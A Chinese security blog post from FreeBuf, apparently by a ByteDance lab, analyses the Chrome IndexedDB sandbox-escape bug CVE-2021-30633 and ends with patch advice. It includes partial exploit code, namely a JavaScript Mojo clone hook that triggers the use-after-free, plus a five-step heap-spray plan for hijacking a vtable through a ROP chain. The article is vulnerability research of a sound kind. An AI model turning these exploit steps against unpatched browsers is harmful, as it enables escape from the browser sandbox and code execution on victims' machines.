freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

深入分析chrome IndexedDB沙箱逃逸漏洞:CVE-2021-30633
2022-02-22 16:29:43
所属地 北京

前言

最近@hungtt28 在博客公开了他的fullchian利用,其中沙箱逃逸用到了CVE-2021-30633,无恒实验室之前也编写过该漏洞的相关利用,博客文章公开后也受到一些启发,下面将分享一下无恒实验室针对CVE-2021-30633漏洞的一些心得体会,希望与业内进行学习交流。

Root Case

下面我们先来看一下漏洞的产生原理,从补丁开始入手,其中最主要的就是下面这个函数:

bool IsAcceptingRequests() { return !is_commit_pending_ && state_ != COMMITTING && state_ != FINISHED; }

补丁在每个DatabaseImpl和TransactionImpl接口中添加了该判断,使得处于COMMITTINGFINISHED状态的transaction无法执行,那么反过来思考就是说在这两个状态下继续进行新的transaction就会导致漏洞的产生。

而对于FINISHED状态,如同字面上的意思它代表结束,并没有什么好入手的点,所以我们更多的把精力放在COMMITTING状态,该状态可以通过IndexedDBTransaction::Commit()和TransactionImpl::Commit()这两个函数来进行设置,这里有一个有趣的调用链:

IndexedDBTransaction::Commit --> IndexedDBBackingStore::Transaction::CommitPhaseOne --> IndexedDBBackingStore::Transaction::WriteNewBlobs

其中,会调用blob_storagefile_system_access,将提交数据写入磁盘,代码如下:

case IndexedDBExternalObject::ObjectType::kFile: case IndexedDBExternalObject::ObjectType::kBlob: { if (entry.size() == 0) continue; // If this directory creation fails then the WriteBlobToFile call // will fail. So there is no need to special-case handle it here. base::FilePath path = GetBlobDirectoryNameForKey( backing_store_->blob_path_, database_id_, entry.blob_number()); backing_store_->filesystem_proxy_->CreateDirectory(path); // TODO(dmurph): Refactor IndexedDBExternalObject to not use a // SharedRemote, so this code can just move the remote, instead of // cloning. mojo::PendingRemote<blink::mojom::Blob> pending_blob; entry.remote()->Clone(pending_blob.InitWithNewPipeAndPassReceiver()); // Android doesn't seem to consistently be able to set file // modification times. The timestamp is not checked during reading // on Android either. https://crbug.com/1045488 absl::optional<base::Time> last_modified; blob_storage_context->WriteBlobToFile( std::move(pending_blob), backing_store_->GetBlobFileName(database_id_, entry.blob_number()), IndexedDBBackingStore::ShouldSyncOnCommit(durability_), last_modified, write_result_callback); break; }

case IndexedDBExternalObject::ObjectType::kFileSystemAccessHandle: { if (!entry.file_system_access_token().empty()) continue; // TODO(dmurph): Refactor IndexedDBExternalObject to not use a // SharedRemote, so this code can just move the remote, instead of // cloning. mojo::PendingRemote<blink::mojom::FileSystemAccessTransferToken> token_clone; entry.file_system_access_token_remote()->Clone( token_clone.InitWithNewPipeAndPassReceiver()); backing_store_->file_system_access_context_->SerializeHandle( std::move(token_clone), base::BindOnce( [](base::WeakPtr<Transaction> transaction, IndexedDBExternalObject* object, base::OnceCallback<void( storage::mojom::WriteBlobToFileResult)> callback, const std::vector<uint8_t>& serialized_token) { // |object| is owned by |transaction|, so make sure // |transaction| is still valid before doing anything else. if (!transaction) return; if (serialized_token.empty()) { std::move(callback).Run( storage::mojom::WriteBlobToFileResult::kError); return; } object->set_file_system_access_token(serialized_token); std::move(callback).Run( storage::mojom::WriteBlobToFileResult::kSuccess); }, weak_ptr_factory_.GetWeakPtr(), &entry, write_result_callback)); break; }

这里我们重点看一下kFileSystemAccessHandle这种情况,这里我们可以利用Clone来重入js,紧急插入一些基础知识科普,我们先从下面这个例子开始说起,这是一个常见的绑定接口的操作:

var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr(); var fileAccessRequest = mojo.makeRequest(fileAccessPtr); Mojo.bindInterface(blink.mojom.FileSystemAccessTransferToken.name, fileAccessRequest.handle);

这里画了一个图帮助理解:

1645518089_62149d09ebe439e121992.png!small?1645518090331

fileAccessPtr和fileAccessRequest分别代表interface连接的client端和service端,这里是通过mojo.makeRequest来实现的。

mojo.makeRequest创建一个message pipe,用pipe的一端填充output参数(可以是InterfacePtrInfo或interface pointer),返回包装在InterfaceRequest实例中的另一端。

// |output| could be an interface pointer, InterfacePtrInfo or // AssociatedInterfacePtrInfo. function makeRequest(output) { if (output instanceof mojo.AssociatedInterfacePtrInfo) { var {handle0, handle1} = internal.createPairPendingAssociation(); output.interfaceEndpointHandle = handle0; output.version = 0; return new mojo.AssociatedInterfaceRequest(handle1); } if (output instanceof mojo.InterfacePtrInfo) { var pipe = Mojo.createMessagePipe(); output.handle = pipe.handle0; output.version = 0; return new mojo.InterfaceRequest(pipe.handle1); } var pipe = Mojo.createMessagePipe(); output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0)); return new mojo.InterfaceRequest(pipe.handle1); }

Mojo.bindInterface会调用bindInterface函数

//third_party/blink/renderer/core/mojo/mojo.cc // static void Mojo::bindInterface(ScriptState* script_state, const String& interface_name, MojoHandle* request_handle, const String& scope) { std::string name = interface_name.Utf8(); auto handle = mojo::ScopedMessagePipeHandle::From(request_handle->TakeHandle()); if (scope == process ) { Platform::Current()->GetBrowserInterfaceBroker()->GetInterface( mojo::GenericPendingReceiver(name, std::move(handle))); return; } ExecutionContext::From(script_state) ->GetBrowserInterfaceBroker() .GetInterface(name, std::move(handle)); }

通过从render和browser之间已经建立好的BrowserInterfaceBroker来通过GetInterface去调用之前通过map->Add注册好的bind函数,简单来说就是创建对应mojo接口的implement对象,然后和Receiver绑定到一起。 这样就可以通过render的remote来调用browser里的代码了。

那么如何实现重入js呢?

function FileSystemAccessTransferTokenImpl() { this.binding = new mojo.Binding(blink.mojom.FileSystemAccessTransferToken, this); } FileSystemAccessTransferTokenImpl.prototype = { clone: async (arg0) => { // 自定义 } }; var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr(); var fileAccessImpl = new FileSystemAccessTransferTokenImpl(); var fileAccessRequest = mojo.makeRequest(fileAccessPtr); fileAccessImpl.binding.bind(fileAccessRequest);

首先需要在render层(也就是js)实现一个fileAccessImpl,之后自定义一个想要的clone方法,再利用mojo.Binding.bind的方法将mojo.makeRequest返回的InterfaceRequest绑定到js实现的fileAccessImpl上。

// --------------------------------------------------------------------------- // |request| could be omitted and passed into bind() later. // // Example: // // // FooImpl implements mojom.Foo. // function FooImpl() { ... } // FooImpl.prototype.fooMethod1 = function() { ... } // FooImpl.prototype.fooMethod2 = function() { ... } // // var fooPtr = new mojom.FooPtr(); // var request = makeRequest(fooPtr); // var binding = new Binding(mojom.Foo, new FooImpl(), request); // fooPtr.fooMethod1(); function Binding(interfaceType, impl, requestOrHandle) { this.interfaceType_ = interfaceType; this.impl_ = impl; this.router_ = null; this.interfaceEndpointClient_ = null; this.stub_ = null; if (requestOrHandle) this.bind(requestOrHandle); } ...... Binding.prototype.bind = function(requestOrHandle) { this.close(); var handle = requestOrHandle instanceof mojo.InterfaceRequest ? requestOrHandle.handle : requestOrHandle; if (!(handle instanceof MojoHandle)) return; this.router_ = new internal.Router(handle); this.stub_ = new this.interfaceType_.stubClass(this.impl_); this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient( this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId), this.stub_, this.interfaceType_.kVersion); this.interfaceEndpointClient_ .setPayloadValidators([ this.interfaceType_.validateRequest]); };

这样就不需要从render发送PendingReceiver给Browser,去调用browser侧的interface implemention,也就变成了从render来调用render里的代码。

1645518101_62149d155d8b370c6b200.png!small?1645518101707

之后我们将remote传入external_object

var external_object = new blink.mojom.IDBExternalObject(); external_object.fileSystemAccessToken = fileAccessPtr;

之后在IndexedDBBackingStore::Transaction::WriteNewBlobs中通过entry.file_system_access_token_remote()获取传入的remote,之后调用的clone就会是我们定义的js代码,即实现了重入js。

entry.file_system_access_token_remote()->Clone( token_clone.InitWithNewPipeAndPassReceiver());

这里我们定义的clone如下:

FileSystemAccessTransferTokenImpl.prototype = { clone: async (arg0) => { // IndexedDBBackingStore::Transaction::WriteNewBlobs is waiting for writing complete, so we can hookup COMMITTING state_ of transition // replace key/value in object store to delete the external object print( === clone === ); var value = new blink.mojom.IDBValue(); value.bits = [0x41, 0x41, 0x41, 0x41]; value.externalObjects = []; var key = new blink.mojom.IDBKey(); key.string = new mojoBase.mojom.String16(); key.string.data = key ; var mode = blink.mojom.IDBPutMode.AddOrUpdate; var index_keys = []; idbTransactionPtr.put(object_store_id, value, key, mode, index_keys); // commit force put operation idbTransactionPtr.commit(0); for(let i = 0; i < 0x1000; i++){ var a=new Blob([heap1]); blob_list.push(a); } done = true; // get token for file handle, control-flow comeback to callback within cached external object ==> UAF fileAccessHandlePtr.transfer(arg0); } };

这里有一个需要注意的地方:

entry.file_system_access_token_remote()->Clone( token_clone.InitWithNewPipeAndPassReceiver()); backing_store_->file_system_access_context_->SerializeHandle

clone在这里是异步调用的,我们需要根据实际情况来确定执行顺序。

下面涉及到uaf的主要成因,将分成三个部分来讲:

1、uaf的成因

external_objects的释放涉及到两次put请求,释放发生在clone重入的第二次put中。

释放external_objects的调用链如下:

TransactionImpl::Put —> IndexedDBDatabase::PutOperation —> IndexedDBBackingStore::PutRecord —> IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded

在TransactionImpl::Put需要注意一下params,他存储了我们传入的object_store_id, value, key, mode, index_keys,几个关键部分的偏移如下:

params->object_store_id 偏移:0x0 params->value 偏移:0x8~0x30 params->key 偏移:0x38

1645518113_62149d21259ac1b950cd0.png!small?1645518113495

params->value的类型为IndexedDBValue

struct CONTENT_EXPORT IndexedDBValue { ...... std::string bits; std::vector<IndexedDBExternalObject> external_objects; };

由于我们之后要释放external_object,在这里打了一个log来输出他的地址和大小,这个184也就是之后我们要堆喷的大小。

1645518118_62149d26c0dc76b47dc8b.png!small?1645518119208

这个图是clone中第二次调用,在第二次put时我们传入了空的external_object,bits(也就是之后要用到的key)仍与第一次相同

1645518122_62149d2a880514271510b.png!small?1645518122791

free发生在此处,由于我们第二次传入的external_object为空,将会走到external_object_change_map_.erase,由于两次的object_store_data_key相同,将会把第一次传入的external_object给释放掉。

Status IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded( int64_t database_id, const std::string& object_store_data_key, std::vector<IndexedDBExternalObject>* external_objects) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); if (!external_objects || external_objects->empty()) { external_object_change_map_.erase(object_store_data_key); //free here!!incognito_external_object_map_.erase(object_store_data_key); ....... } class IndexedDBExternalObjectChangeRecord { ........ private: std::string object_store_data_key_; std::vector<IndexedDBExternalObject> external_objects_; };

调试一下两次PutExternalObjectsIfNeeded,可以看到object_store_data_key是相同的。

1645518132_62149d343846058ff68c9.png!small?16455181337971645518129_62149d3170162721992d8.png!small?1645518130860


2、clone中commit的作用


由于clone是在上次commit中被调用的,此时我们正处于上一个事务的提交过程中,此时只进行put请求的话并不会直接处理该事务,而是会优先处理完上一个操作,可以看下面的图:

1645518138_62149d3a444d6c9301513.png!small?1645518138932

而我们的free操作是发生在put中的,如果想要泄漏出token的地址,就需要put先于set_file_system_access_token执行,这里使用了commit来强制提交put,这样相当于put进行了插队,即可实现我们想要的效果。

1645518142_62149d3e7b4101441ff43.png!small?1645518143218

此时又会产生一个新的问题,在这里再次调用commit不会继续调用clone重入吗?

答案是不会的,让我们来看下面这块代码:

IndexedDBTransaction::RunTasks() { ....... // If there are no pending tasks, we haven't already committed/aborted, // and the front-end requested a commit, it is now safe to do so. if (!HasPendingTasks() && state_ == STARTED && is_commit_pending_) { processing_event_queue_ = false; // This can delete |this|. leveldb::Status result = Commit(); //IndexedDBTransaction::Commit() if (!result.ok()) return {RunTasksResult::kError, result}; } ....... }

可以看到只有当state_ == STARTED的时候才会调用IndexedDBTransaction::Commit,进而去调用

WriteNewBlobs,我们第二次调用commit的时候此时的state_已经是COMMITTING了。

第一次commit:

1645518148_62149d440e70ab18b6685.png!small?1645518151061

第二次commit:

1645518152_62149d48828d0e67cdf76.png!small?1645518154035

3、transfer的作用

首先我们先来看这段调用链:

FileSystemAccessManagerImpl::SerializeHandle --> FileSystemAccessManagerImpl::ResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DidResolveForSerializeHandle

可以看到在DoResolveTransferToken调用时需要从transfer_tokens_找到一个token才能最终走到SerializeHandle的回调中

void FileSystemAccessManagerImpl::DoResolveTransferToken( mojo::Remote<blink::mojom::FileSystemAccessTransferToken>, ResolvedTokenCallback callback, const base::UnguessableToken& token) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); auto it = transfer_tokens_.find(token); if (it == transfer_tokens_.end()) { std::move(callback).Run(nullptr); } else { std::move(callback).Run(it->second.get()); } }

所以我们需要在clone中调用fileAccessHandlePtr.transfer(arg0);

void FileSystemAccessManagerImpl::DidResolveForSerializeHandle( SerializeHandleCallback callback, FileSystemAccessTransferTokenImpl* resolved_token) { if (!resolved_token) { std::move(callback).Run({}); return; } ....... std::string value; bool success = data.SerializeToString(&value); DCHECK(success); std::vector<uint8_t> result(value.begin(), value.end()); std::move(callback).Run(result); }

之后传入DoResolveTransferToken的FileSystemAccessTransferTokenImpl经过处理变为了result,它即object->set_file_system_access_token(serialized_token)中的serialized_token。

backing_store_->file_system_access_context_->SerializeHandle( std::move(token_clone), base::BindOnce( [](base::WeakPtr<Transaction> transaction, IndexedDBExternalObject* object, base::OnceCallback<void( storage::mojom::WriteBlobToFileResult)> callback, const std::vector<uint8_t>& serialized_token) { // |object| is owned by |transaction|, so make sure // |transaction| is still valid before doing anything else. if (!transaction) return; if (serialized_token.empty()) { std::move(callback).Run( storage::mojom::WriteBlobToFileResult::kError); return; } object->set_file_system_access_token(serialized_token); std::move(callback).Run( storage::mojom::WriteBlobToFileResult::kSuccess); }, weak_ptr_factory_.GetWeakPtr(), &entry, write_result_callback)); break;

这里需要注意一点:

1645518159_62149d4f0987e49a5e5db.png!small?1645518161000

在SerializeToString序列化的过程中,会计算出一个8字节的内容填充在token的最前面,后续才是我们的file_name,所以在用file_name去控制token大小时需要注意token的大小会大file_name0x8。

小结

上面分了三个部分来讲,下面我们整合一下上面的内容:

  • 我们可以使用clone重入js,即可在clone中二次调用put。

  • 第二次put中如果传入key相同的空external_object将会释放第一次put的external_object。

  • 通过transer将token传入了set_file_system_access_token。

  • 通过commit来插队使得PutExternalObjectsIfNeeded先于set_file_system_access_token执行

  • 通过blob申请回free掉的external_object,之后set_file_system_access_token将会将token写入我们的blob,之后通过读取blob即可获得token(vector容器)的begin等地址。

利用

漏洞的利用分为五次堆喷射,下面我将依次对每次堆喷射进行介绍:

第一次堆喷:

此次堆喷的目标是被释放的external_object,通过喷射blob将external_object的内存空间申请回来,之后调用set_file_system_access_token,将token写入内存

void IndexedDBExternalObject::set_file_system_access_token( std::vector<uint8_t> token) { DCHECK_EQ(object_type_, ObjectType::kFileSystemAccessHandle); file_system_access_token_ = std::move(token); }

set_file_system_access_token前:

1645518164_62149d546ddd2fa3133d5.png!small?1645518164898

set_file_system_access_token后:

1645518167_62149d5798ae3742920d8.png!small?1645518167968

之后通过读取blob来获得图中标红部分的地址。

1645518172_62149d5cd543a659fa954.png!small?1645518173079

1645518175_62149d5fb19a951370d28.png!small?1645518176369

第二次堆喷:

这次喷射时,在喷射的blob中填入第一次中leak出来的地址,由于vector重载了=操作符,在赋值时token处不为0将会释放掉token。

释放token的主要目的是,他的大小和内容是可以被file_name控制的,这里相当于我们将external_object的uaf转换为了token的uaf。

1645518188_62149d6c2abb031575e91.png!small?1645518188578

第三次堆喷:

在使用RegisterFromStream接口注册新blob时,会new BlobDataItem。

BlobRegistryImpl::RegisterFromStream --> BlobBuilderFromStream::Start --> BlobBuilderFromStream::AllocateMoreMemorySpace --> BlobDataItem::CreateBytesDescription --------------------------------------------------------------------------- void BlobBuilderFromStream::AllocateMoreMemorySpace( uint64_t length_hint, mojo::PendingAssociatedRemote<blink::mojom::ProgressClient> progress_client, mojo::ScopedDataPipeConsumerHandle pipe) { .......... std::vector<scoped_refptr<ShareableBlobDataItem>> chunk_items; while (length_hint > 0) { const auto block_size = std::min<uint64_t>(kMemoryBlockSize, length_hint); chunk_items.push_back(base::MakeRefCounted<ShareableBlobDataItem>( BlobDataItem::CreateBytesDescription(block_size), ShareableBlobDataItem::QUOTA_NEEDED)); length_hint -= block_size; } ........ } --------------------------------------------------------------------------- scoped_refptr<BlobDataItem> BlobDataItem::CreateBytesDescription( size_t length) { return base::WrapRefCounted( new BlobDataItem(Type::kBytesDescription, 0, length)); }

BlobDataItem中存储了data_handle_,我们的最终目的是占位BlobDataItem去修改data_handle_,进而通过覆盖DataHandle的虚函数表来劫持执行流。

class COMPONENT_EXPORT(STORAGE_BROWSER) BlobDataItem : public base::RefCounted<BlobDataItem> { ........ Type type_; uint64_t offset_; uint64_t length_; std::vector<uint8_t> bytes_; // For Type::kBytes. base::FilePath path_; // For Type::kFile. FileSystemURL filesystem_url_; // For Type::kFileFilesystem. base::Time expected_modification_time_; // For Type::kFile and kFileFilesystem. scoped_refptr<DataHandle> data_handle_; // For kReadableDataHandle. scoped_refptr<ShareableFileReference> file_ref_; // For Type::kFile scoped_refptr<FileSystemContext> file_system_context_; // For Type::kFileFilesystem. };

可以通过log的方式获得当前版本的BlobDataItem的大小,由于token的大小可以由我们控制,所以我们要控制他和BlobDataItem的大小保持一致,方便之后进行堆喷。

1645518194_62149d720c70a7c5f9ec7.png!small?1645518194390

当前使用的环境BlobDataItem的大小为424,所以file_name的大小为424-8(-8的原因上面有提到)。

在第二次堆喷中我们获得了一个free的424大小的token,此时通过调用RegisterFromStream即可将BlobDataItem喷到token的位置。

1645518197_62149d75ba08b83a8700d.png!small?1645518198136

第四次堆喷:

此次堆喷过程和第二次相同,主要目的就是将已经是BlobDataItem的token再次释放,相当于获得了一个free的BlobDataItem。

1645518202_62149d7a92241cd9755d0.png!small?1645518202935

第五次堆喷:

这次堆喷我们就可以直接喷射BlobDataItem,此时我们只要在blob中布置好rop链去覆盖DataHandle的虚函数表即可完成攻击(核心思路就是在blob的前面部分布置好栈迁移和执行system的gadget,之后将0x190偏移处也就是data_handle_的指针覆盖为布置好gadget的地址-0x10处即可)。

覆盖之后虚函数的调用是通过BlobImpl::ReadSideData这个接口来实现的,在代码标红处,另外在喷射BlobDataItem时还需要注意蓝色位置处,要满足type判断以保证虚函数的调用。

void BlobImpl::ReadSideData(ReadSideDataCallback callback) { handle_->RunOnConstructionComplete(base::BindOnce( [](BlobDataHandle handle, ReadSideDataCallback callback, BlobStatus status) { if (status != BlobStatus::DONE) { DCHECK(BlobStatusIsError(status)); std::move(callback).Run(absl::nullopt); return; } auto snapshot = handle.CreateSnapshot(); // Currently side data is supported only for blobs with a single entry. const auto& items = snapshot->items(); if (items.size() != 1) { std::move(callback).Run(absl::nullopt); return; } const auto& item = items[0]; if(item->type() != BlobDataItem::Type::kReadableDataHandle){ std::move(callback).Run(absl::nullopt); return; } int32_tbody_size = item->data_handle()->GetSideDataSize();if (body_size == 0) { std::move(callback).Run(absl::nullopt); return; } item->data_handle()->ReadSideData(base::BindOnce( [](ReadSideDataCallback callback, int result, mojo_base::BigBuffer buffer) { if (result < 0) { std::move(callback).Run(absl::nullopt); return; } std::move(callback).Run(std::move(buffer)); }, std::move(callback))); }, *handle_, std::move(callback))); }

这里因为原exp中已经给出了rop链的布置,就不做重点分析了。

1645518207_62149d7f38002b4dbc28f.png!small?1645518207767

安全建议

  • 可以通过打补丁或更新到安全版本--93.0.4577.82及以上来避免该漏洞的危害。

结束语

  • 总体上来说,该漏洞利用上由于堆喷次数过多,在利用稳定性和利用耗时上并不是很理想,但是从利用思路上还是可以学到很多东西,是一个很巧妙的利用。

  • 无恒实验室致力于为字节跳动旗下产品与业务保驾护航,亦极为重视第三方应用对业务安全的影响,在检测公司引入的第三方应用安全性的同时,无恒实验室也着力于构建第三方应用中的漏洞缓解机制,并将持续与业界共享研究成果,协助企业业务避免遭受安全风险,亦望能与业内同行共同合作,为网络安全行业的发展做出贡献。


参考资料:

https://starlabs.sg/blog/2022/01/the-cat-escaped-from-the-chrome-sandbox/

# chrome漏洞 # 复现 # cve-2021-30633 # 沙箱逃逸
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录